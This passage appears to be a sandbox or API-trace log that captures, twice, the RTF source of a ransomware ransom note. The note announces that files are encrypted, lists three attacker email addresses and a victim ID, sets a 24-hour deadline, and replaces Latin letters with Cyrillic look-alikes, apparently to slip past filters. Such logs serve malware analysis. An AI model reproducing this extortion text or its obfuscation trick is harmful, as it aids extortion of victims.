us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 